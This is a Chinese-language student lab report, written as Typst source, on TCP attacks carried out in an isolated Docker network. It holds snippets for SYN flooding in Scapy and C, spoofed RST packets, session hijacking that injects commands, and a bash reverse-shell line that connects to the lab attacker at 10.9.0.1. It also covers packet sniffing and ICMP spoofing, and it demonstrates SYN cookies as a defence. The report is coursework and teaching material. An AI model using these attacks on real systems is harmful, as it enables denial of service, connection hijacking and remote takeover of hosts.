#import "labtemplate.typ": * #show: nudtlabpaper.with(title: "TCP 攻击实验", author: "程景愉", id: "202302723005", training_type: "无军籍", grade: "2023", major: "网络工程", department: "计算机学院", advisor: "柳林", jobtitle: "教授", lab: "307-208", date: "2026.05.04", header_str: "《网络安全》实验报告", ) #set page(header: [ #set par(spacing: 6pt) #align(center)[#text(size: 11pt)[《网络安全》实验报告]] #v(-0.3em) #line(length: 100%, stroke: (thickness: 1pt)) ],) #show heading: it => box(width: 100%)[ #v(0.50em) #set text(font: hei) #counter(heading).display() #it.body ] // 代码块样式 #show raw.where(block: true): it => box( fill: rgb("#f5f5f5"), inset: (x: 12pt, y: 10pt), radius: 6pt, stroke: (thickness: 1pt, paint: rgb("#e0e0e0")), it ) #outline(title: "目录",depth: 3, indent: 2em) #pagebreak() = 实验目的 #para[ TCP 协议是互联网的核心协议之一,其三次握手和连接管理机制虽然保证了传输的可靠性,但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践,深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括: ] - 理解 TCP SYN 泛洪(SYN Flood)攻击的原理,掌握使用 Scapy 和 C 语言实现该攻击的方法,并验证 SYN Cookies 防御机制的有效性。 - 掌握 TCP 重置(Reset)攻击的技术细节,学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。 - 实践 TCP 会话劫持(Session Hijacking)技术,理解如何通过监听和预测序列号在现有会话中注入恶意指令。 - 掌握利用会话劫持创建反向 Shell(Reverse Shell)的方法,理解该技术在实际渗透测试中的重要作用。 - 学习使用 libpcap 库和原始套接字(Raw Socket)在 C 语言中实现底层的数据包嗅探与伪造。 = 实验原理 == TCP 三次握手与 SYN 泛洪 #para[ TCP 建立连接需要三次握手:客户端发送 SYN,服务器回复 SYN+ACK 并分配资源进入半连接(SYN-RECV)状态,最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步,使服务器的半连接队列(Backlog Queue)被占满,从而拒绝合法用户的连接请求。 ] == TCP 重置与会话劫持 #para[ TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号 and 序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。 ] #para[ 会话劫持则更进一步,攻击者不仅要断开连接,而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号,接收方会认为这些数据来自合法的对端,从而执行注入的指令。 ] == 反向 Shell #para[ 反向 Shell 是指被攻击者主动连接攻击者的监听端口,并将自己的 Shell(如 `/bin/bash`)的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。 ] = 实验环境 #para[ 本实验利用 Docker Compose 搭建了一个隔离的虚拟网络环境。该网络包含一台攻击者容器(Attacker)和三台用户/受害者容器。 ] #figure( image("images/dockerps.png", width: 100%), caption: [使用 docker ps 查看实验环境中的容器运行状态], ) #align(center)[#table( columns: (auto, auto, auto), rows:(2em, 2em, 2em), inset: 10pt, align: horizon+center, table.header([*主机角色*], [*IP地址*], [*说明*]), "Attacker(攻击者)", "10.9.0.1 (host)", "运行攻击脚本,具有混杂模式权限", "Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器", "User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机", )] = 实验步骤及结果 == 任务集 1:SYN 泛洪攻击 === 任务 1.1:使用 Python 发起攻击 #para[ 使用 Scapy 编写 `synflood.py`。其核心逻辑是在一个无限循环中,利用 `getrandbits(32)` 生成随机的源 IP 地址,并构造 TCP 头部将 `flags` 设置为 `'S'` (SYN)。 ] ```python while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) # 随机源 IP pkt[TCP].sport = getrandbits(16) # 随机源端口 pkt[TCP].seq = getrandbits(32) # 随机序列号 send(pkt, verbose = 0) ``` #figure( image("images/task1.1_synflood.png", width: 90%), caption: [运行 synflood.py 期间,Victim 上的 netstat 输出展示了大量处于 SYN_RECV 状态的连接], ) === 任务 1.2:使用 C 语言发起攻击 #para[ C 语言实现通过原始套接字直接构造 IP 和 TCP 头部。为了提高效率,我们手动计算了 TCP 校验和(包含伪首部)。 ] ```c // 核心循环:不断构造并发送 SYN 包 while (1) { tcp->tcp_sport = rand(); tcp->tcp_flags = TH_SYN; ip->iph_sourceip.s_addr = rand(); tcp->tcp_sum = calculate_tcp_checksum(ip); // 必须计算校验和 send_raw_ip_packet(ip); } ``` #figure( image("images/task1.2_synflood_c.png", width: 90%), caption: [C 语言攻击下,Victim 的半连接队列瞬间被伪造包填满], ) === 任务 1.3:启用 SYN Cookie 防御 #para[ 启用防御后,服务器不再在收到 SYN 时立即分配资源,而是将连接信息编码进 `SYN-ACK` 的序列号中。 ] #figure( image("images/task1.3_syncookies.png", width: 90%), caption: [开启 SYN Cookies 后,合法用户 User1 仍能成功连接 Victim], ) == 任务 2:TCP 重置攻击 #para[ `reset_attack.py` 通过嗅探捕获 User1 发往 Victim 的包,提取其确认号(ACK)作为伪造 RST 包的序列号(SEQ),从而使 Victim 认为对端要求重置连接。 ] ```python def spoof_reset(pkt): ip = IP(src=pkt[IP].dst, dst=pkt[IP].src) # 关键:RST 包的 SEQ 必须在接收方的有效窗口内,通常设为对端的 ACK tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack) send(ip/tcp, verbose=0) ``` #figure( image("images/task2_tcp_reset.png", width: 90%), caption: [User1 的 telnet 窗口显示连接被成功重置], ) == 任务 3:TCP 会话劫持 #para[ 会话劫持需要更精确的序列号控制。我们通过嗅探获取当前的 SEQ 和 Payload 长度,计算出下一个合法的 SEQ,并注入指令。 ] ```python def hijack(pkt): if pkt[TCP].payload: ip = IP(src=pkt[IP].src, dst=pkt[IP].dst) # 预测下一个 SEQ:当前 SEQ + 载荷长度 tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A", seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack) payload = "\r touch /tmp/hijack_successful \r" send(ip/tcp/payload, verbose=0) ``` #figure( grid( columns: (1fr, 1fr), gutter: 10pt, image("images/task3_session_hijack-1.png", width: 100%), image("images/task3_session_hijack-2.png", width: 100%), ), caption: [会话劫持成功:在 Victim 容器中验证了文件的创建], ) == 任务 4:创建反向 Shell #para[ 在劫持逻辑中,我们将注入的指令替换为 Bash 反向 Shell 指令。 ] ```python cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r" ``` #figure( grid( columns: (1fr, 1fr), gutter: 10pt, image("images/task4_reverse_shell-1.png", width: 100%), image("images/task4_reverse_shell-2.png", width: 100%), ), caption: [通过会话劫持注入反向 Shell,Attacker 成功获得受害者控制权], ) == 任务集 2:基于 C 的嗅探与伪造 === 任务 2.1:基于 libpcap 的嗅探 #para[ C 语言嗅探器通过 `pcap_loop` 持续处理报文。在回调函数中,我们通过指针偏移来解析 IP 头部。 ] ```c void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { // 跳过以太网头 (14字节) 到达 IP 头 struct ipheader *ip = (struct ipheader *)(packet + 14); printf(" From: %s\n", inet_ntoa(ip->iph_sourceip)); printf(" To: %s\n", inet_ntoa(ip->iph_destip)); } ``` #figure( image("images/task2.1_c_sniffer.png", width: 90%), caption: [C 语言嗅探器成功输出实时抓取的 IP 报文信息], ) === 任务 2.3:嗅探与伪造联动 (Sniff-and-Spoof) #para[ 该任务要求程序在捕获到 ICMP 请求时立即构造一个 Reply。 ] ```c if (icmp->icmp_type == 8) { // 检测到 Echo Request new_ip->iph_sourceip = ip->iph_destip; // 交换源目 IP new_ip->iph_destip = ip->iph_sourceip; new_icmp->icmp_type = 0; // 设置为 Echo Reply new_icmp->icmp_chksum = 0; // 重新计算校验和 new_icmp->icmp_chksum = in_cksum(...); send_raw_ip_packet(new_ip); } ``` #figure( image("images/task2.3_c_sniff_spoof.png", width: 90%), caption: [联动程序成功欺骗 User1,使其认为 1.2.3.4 在线], ) === 任务 2.1A:理解嗅探器工作原理 *问题 1:必不可少的库调用序列* 1. `pcap_open_live()`: 打开指定的网络接口进行捕获。 2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。 3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。 4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。 *问题 2:为何需要 Root 权限?* 嗅探程序需要创建原始套接字并开启网卡的混杂模式,这些操作涉及到对硬件和底层网络栈的直接控制,为了安全起见,操作系统仅允许特权用户(Root)执行。如果非特权用户运行,`pcap_open_live()` 将返回权限错误。 *问题 3:混杂模式(Promiscuous Mode)* 在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式,0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 和 Victim)之间的通信;关闭后,仅能捕获到发往本机或广播地址的流量。 = 实验总结 #para[ 本次实验通过 Python 和 C 两种维度的实践,让我对 TCP/IP 协议栈的安全缺陷有了透彻的理解。从高层脚本的便捷性到低层 C 语言对每一比特的精准控制,我深刻体会到了网络攻防中"细节决定成败"的道理。特别是在序列号预测和校验和计算方面的实践,为我今后深入学习网络协议安全打下了坚实基础。 ]